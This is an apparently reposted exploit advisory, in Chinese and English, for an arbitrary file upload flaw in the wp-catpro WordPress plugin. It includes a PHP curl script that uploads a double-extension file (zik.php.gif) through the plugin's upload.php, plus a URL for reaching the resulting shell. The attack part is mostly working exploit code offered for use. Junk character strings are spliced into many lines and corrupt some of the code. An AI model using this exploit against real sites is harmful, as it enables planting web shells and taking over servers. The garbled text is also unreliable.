WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
% |" L, p2 j+ c$ a5 n9 }#-----------------------------------------------------------------------

& N7 E( H6 C  u% i5 z% X作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
2 y2 D8 r/ h, d$ H2 J5 f####
" V6 w+ V+ F4 k3 H* ?- t9 a
#=> Exploit 信息:
! A- W8 N  {4 {------------------
. x5 ~% X( c1 I8 y; m9 ~4 L( }6 p# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
5 E$ c4 ^8 _) ~# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
( M5 `, k( M! L2 D: i' L------------------
9 l) n9 p' t" M
#=> Exploit
4 B; ]4 e* g9 f-----------
<?php

$uploadfile="zik.php.gif";
' D6 C2 Q- P9 U+ i. ~7 L2 {$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
- @4 N1 N! z$ r# V4 scurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
/ f+ y8 U/ }7 y6 o, M: F6 V'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

3 V; `1 r5 Q% n; k7 n5 }( vprint "$postResult";
6 j. I  q, W. ~7 [8 Z/ {
* n9 j  f/ R2 r) H9 OShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
  K0 p; H5 f  X2 ~4 _phpinfo();
9 \. p; }- v$ ]% }# g?>